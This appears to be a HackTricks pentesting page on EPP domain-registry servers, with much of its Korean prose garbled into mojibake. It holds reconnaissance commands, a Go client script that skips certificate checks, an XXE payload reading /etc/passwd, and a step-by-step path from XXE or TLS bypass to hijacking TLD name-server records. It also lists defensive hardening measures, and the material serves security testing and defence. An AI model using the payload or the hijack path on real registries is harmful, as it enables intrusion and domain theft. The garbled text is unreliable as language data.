700 - Pentesting EPP
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
Extensible Provisioning Protocol (EPP)๋ ๋๋ฉ์ธ ์ด๋ฆ ๋ฑ๋ก์์ ๋ฑ๋ก์๊ฐ ๋๋ฉ์ธ ์ด๋ฆ ๋ฐ ๊ธฐํ ์ธํฐ๋ท ์์์ ๊ด๋ฆฌํ๊ธฐ ์ํด ์ฌ์ฉํ๋ ๋คํธ์ํฌ ํ๋กํ ์ฝ์ ๋๋ค. ์ด ํ๋กํ ์ฝ์ ๋๋ฉ์ธ ์ด๋ฆ ๋ฑ๋ก, ๊ฐฑ์ , ์ด์ ๋ฐ ์ญ์ ํ๋ก์ธ์ค์ ์๋ํ๋ฅผ ๊ฐ๋ฅํ๊ฒ ํ์ฌ ๋๋ฉ์ธ ์ด๋ฆ ์์คํ (DNS) ๋ด์ ๋ค์ํ ์ํฐํฐ ๊ฐ์ ํ์คํ๋๊ณ ์์ ํ ํต์ ํ๋ ์์ํฌ๋ฅผ ๋ณด์ฅํฉ๋๋ค. EPP๋ ์ ์ฐํ๊ณ ํ์ฅ ๊ฐ๋ฅํ๋๋ก ์ค๊ณ๋์ด ์ธํฐ๋ท ์ธํ๋ผ์ ํ์์ ๋ฐ๋ผ ์๋ก์ด ๊ธฐ๋ฅ๊ณผ ๋ช ๋ น์ ์ถ๊ฐํ ์ ์์ต๋๋ค.
๊ธฐ๋ณธ์ ์ผ๋ก, ์ด๋ TLD ๋ฑ๋ก์๊ฐ TLD์์ ์๋ก์ด ๋๋ฉ์ธ์ ๋ฑ๋กํ๊ธฐ ์ํด ๋๋ฉ์ธ ๋ฑ๋ก์์๊ฒ ์ ๊ณตํ ํ๋กํ ์ฝ ์ค ํ๋์ ๋๋ค.
ํํ ์คํธ
์ด ๋งค์ฐ ํฅ๋ฏธ๋ก์ด ๊ธฐ์ฌ์์ ์ผ๋ถ ๋ณด์ ์ฐ๊ตฌ์๋ค์ด ์ด ํ๋กํ ์ฝ์ ์ฌ๋ฌ ๊ตฌํ์ด XXE (XML External Entity)์ ์ทจ์ฝํ๋ค๋ ๊ฒ์ ๋ฐ๊ฒฌํ ๋ฐฉ๋ฒ์ ๋ณผ ์ ์์ต๋๋ค. ์ด ํ๋กํ ์ฝ์ XML์ ์ฌ์ฉํ์ฌ ํต์ ํ๋ฏ๋ก ๊ณต๊ฒฉ์๊ฐ ์์ญ ๊ฐ์ ๋ค์ํ TLD๋ฅผ ์ฅ์ ํ ์ ์์์ ๊ฒ์ ๋๋ค.
์ด๊ฑฐ ๋ฐ ์ ์ฐฐ
EPP ์๋ฒ๋ ๊ฑฐ์ ํญ์ TLS๋ฅผ ํตํด TCP 700/tcp์์ ์์ ๋๊ธฐํฉ๋๋ค. ์ผ๋ฐ์ ์ธ ๋ฐฐํฌ๋ **์ํธ TLS (mTLS)**๋ฅผ ๊ฐ์ ํ๋ฏ๋ก ํด๋ผ์ด์ธํธ๋ ๋ฑ๋ก์ CA์์ ๋ฐ๊ธํ ์ ํจํ ์ธ์ฆ์๋ฅผ ์ ์ํด์ผ ํฉ๋๋ค. ๊ทธ๋ผ์๋ ๋ถ๊ตฌํ๊ณ ๋ง์ ๊ฐ์ธ ํ
์คํธ ๋๋ ์ฌ์ ์์ฐ ๋ฐฐํฌ๋ ๊ทธ ์ ์ด๋ฅผ ์์ด๋ฒ๋ฆฝ๋๋ค:
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head
์๋ฒ๊ฐ TLS ํธ๋์
ฐ์ดํฌ ํ ์ฐ๊ฒฐ์ ์ข
๋ฃํ์ง ์์ผ๋ฉด ์ธ์ฆ๋์ง ์์ <hello/> ๋ฉ์์ง๋ฅผ ๋ณด๋ด๋ ค๊ณ ์๋ํ ์ ์์ต๋๋ค:
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>
ํ ์คํธ์ ์ ์ฉํ ์คํ ์์ค ํด๋ผ์ด์ธํธ
- epp-client (Go) โ ์ ๊ทน์ ์ผ๋ก ์ ์ง ๊ด๋ฆฌ๋๋ฉฐ, TCP/TLS ๋ฐ EPP-over-HTTPS (RFC 8730)๋ฅผ ์ง์ํฉ๋๋ค:
go install github.com/domainr/epp/cmd/epp@latest - gandi/go-epp โ ํผ์ง ๋๋ nuclei ์คํ์ผ ์ํฌํ๋ก์ฐ๋ฅผ ์ํด ์ฝ๊ฒ ๊ณ์ธกํ ์ ์๋ ์ต์ ํด๋ผ์ด์ธํธ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋๋ค.
- afq984/php-epp-client โ ๋ง์ ์๊ท๋ชจ ๋ฑ๋ก ๊ธฐ๊ด์์ ์ฌ์ฉ๋๋ PHP ๊ตฌํ; ์ฝ๋ ๋ฆฌ๋ทฐ๋ฅผ ์ํ ํธ๋ฆฌํ ๋์์ ๋๋ค.
Go epp-client๋ฅผ ์ฌ์ฉํ ์ต์ ๋ก๊ทธ์ธ+์ฒดํฌ ์คํฌ๋ฆฝํธ ์:
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)
func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}
์ผ๋ฐ์ ์ธ ์ทจ์ฝ์ ๋ฐ 2023-2025 ์ทจ์ฝ์ฑ
| ์ฐ๋ | ๊ตฌ์ฑ ์์ | CWE | ์ํฅ |
|---|---|---|---|
| 2023 | CoCCA Registry < 3.5 | CWE-611 XXE | ์กฐ์๋ <epp> ํ์ด๋ก๋๋ฅผ ํตํ ์๊ฒฉ ํ์ผ ์ฝ๊ธฐ ๋ฐ SSRF (ํจ์น: 2023-11-02) |
| 2024 | FRED EPP Server 2.x | CWE-322 TLS ์ธ์ฆ์ ๊ฒ์ฆ ๋ถ์กฑ | mTLS ์ฐํ๋ก ์ธํ ๋ฌด๋จ ๋ฑ๋ก๊ธฐ๊ด ๋ก๊ทธ์ธ ํ์ฉ |
| 2025 | ๋ ์ ๋ฑ๋ก๊ธฐ๊ด ํจ๋ | CWE-306 ์ค์ํ ๊ธฐ๋ฅ์ ๋ํ ์ธ์ฆ ๋๋ฝ | EPP-HTTP ๋ธ๋ฆฌ์ง๋ฅผ ํตํด ๋ ธ์ถ๋ ๋๋ฉ์ธ ์ ์ก ์น์ธ ์๋ํฌ์ธํธ |
XXE / SSRF ํ์ด๋ก๋ (๋ง์ Java/Spring ๊ตฌํ์ ๋ํด ์๋)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>
When the parser is mis-configured (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true) the file content is returned inside the <resData> structure.
Other typical findings
- ์ฝํ ์๊ฒฉ ์ฆ๋ช ์ ์ฑ โ EPP ๋ก๊ทธ์ธ ๋น๋ฐ๋ฒํธ๊ฐ 8์ ๋ฏธ๋ง; ์ฌ์์ด ์๋ ์ ํ์ ์๊ตฌํ์ง ์๊ธฐ ๋๋ฌธ์ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ์ด ์ข ์ข ๊ฐ๋ฅํ๋ค.
- ๋๋ฝ๋
registryLock/serverUpdateProhibited์ํ โ ์ธ์ฆ ํ ๊ณต๊ฒฉ์๋ ์ฆ์ NS ๋ ์ฝ๋๋ฅผ ์ ๋ฐ์ดํธํ๊ณ ํธ๋ํฝ์ ํ์ทจํ ์ ์๋ค. - ์๋ช ๋์ง ์์ ํด ๋ฉ์์ง โ ์ผ๋ถ ๊ตฌํ์ ์ฌ์ ํ ํด Q&A ๋ฉ์์ง์ ์๋ช ํ์ง ์์ ๋ฑ๋ก ๊ธฐ๊ด ์ด์์์ ์คํธํ/ํผ์ฑ์ ๊ฐ๋ฅํ๊ฒ ํ๋ค.
Attack Path: From Zero to TLD Hijack
- Discover an EPP endpoint (often hidden behind a generic host like
ot&e.<tld>.nic.<cc>). - Abuse one of the weaknesses above to gain registrar-level credentials (XXE โ SSRF to IMDSv1, credential exfil, or TLS-bypass).
- Issue
<update>requests to change the domainโshostObjrecords to attacker-controlled name servers. - (Optional) Submit a
<transfer>to move the domain to an attacker-controlled registrar โ many registries still rely on a single auth-code. - Profit: full control of DNS zone, ability to request TLS certificates via ACME.
Defensive Measures & Hardening
- Enforce mTLS with per-registrar client certificates and pin the registry CA.
- Set
parserFeature secure-processing=trueor equivalent to kill XXE. - Run continuous fuzzing of the XML parser (e.g., with
go-fuzzorjazzerfor Java). - Deploy Registry Lock / server*Prohibited statuses for high-value domains.
- Monitor
pollqueue for suspicious<transfer>or<update>commands and alert in real-time. - ICANN 2024 DNS-Abuse contract amendments require registries to prove rate-limit & auth controls โ leverage them.
References
- ICANN Security and Stability Advisory Committee (SSAC). โSAC118: Consequences of Registry Operator Failure to Implement EPP Security Controlsโ. 2024.
- HackCompute โ โHacking EPP servers: abusing XXE to hijack TLDsโ (2023).
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


